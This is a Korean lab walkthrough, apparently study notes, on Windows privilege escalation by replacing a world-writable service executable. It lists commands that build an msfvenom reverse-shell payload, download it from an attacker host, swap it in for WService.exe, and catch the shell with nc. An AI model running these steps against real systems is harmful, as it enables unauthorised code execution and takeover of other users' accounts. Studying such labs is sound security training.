# 목표 요약
- 서비스 실행 파일 **WService.exe**에 `Everyone: Modify (M)` 권한이 있음
- 공격자는 이 실행 파일을 악성 페이로드로 교체하여 다른 유저 권한으로 코드 실행 가능
# 단계별 공격 흐름
##### 1단계: 서비스 정보 확인
명령어
```bash
sc qc windowsscheduler
# 파워쉘에서 sc는 Set-Content의 alias
# 따라서 sc.exe로 사용해야함
sc.exe qc windowsscheduler
```
결과 예시
```powershell
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
SERVICE_START_NAME : .\svcuser1
```
- 서비스 이름: `windowsscheduler`
- 실행 파일 경로: `C:\PROGRA~2\SYSTEM~1\WService.exe`
- 실행 계정: `svcuser1` -> 일반 사용자보다 높은 권한일 수 있음
##### 2단계: 실행 파일의 권한 확인
명령어
```c
icacls C:\PROGRA~2\SYSTEM~1\WSerivce.exe
```
주요 결과
```text
Everyone:(I)(M)
```
- `Everyone` 그룹에게 Modify (M) 권한 부여됨 -> 누구나 수정 가능
- 공격자가 악성 실행 파일로 교체할 수 있음
##### 3단계: Kali에서 악성 페이로드 생성
```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=1234 -f exe-service -o rev-svc.exe
```
- `exe-service` 포맷으로 리버스 쉘 생성
- 연결될 리스너 IP와 포트는 공격자에 맞게 설정
##### 4단계: Kali에서 웹 서버 열기 (페이로드 전송)
```bash
python3 -m http.server 8888
```
- Python으로 현재 디렉토리를 HTTP 서버로 서비스
- Windows에서 파워쉘로 이 페이로드를 다운로드 할 수 있음.
##### 5단계: Windows에서 페이로드 다운로드
```powershell
wget http://<ATTACKER_IP>:8888/rev-svc.exe -O rev-svc.exe
```
##### 6단계: 서비스 실행 파일 교체
```powershell
cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\wook\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
```
- 기존 파일 백업 `WService.exe.bkp`
- 악성 페이로드 교체
- `Everyone` 그룹에게 Full Control (F) 부여 -> 서비스 재시작 시 문제 없이 실행
##### 7단계: Kali에서 리스너 대기 시작
```bash
nc -lvnp 1234
```
- Windows 서비스가 시작되면 리버스쉘 연결이 수신됨
##### 8단계: 서비스 재시작 (페이로드 실행 트리거)
```powershell
sc stop windowsscheduler
sc start windowsscheduler
```
- `windowsscheduler` 서비스 중지 후 시작
- 이때 교체된 악성 실행 파일이 실행되고 공격자에게 쉘 연결됨
##### 9단계: 리버스 쉘 확보
```bash
nc -lvnp 1234
# 연결 수신
whoami
# 결과: wprivesc1\svcusr1
```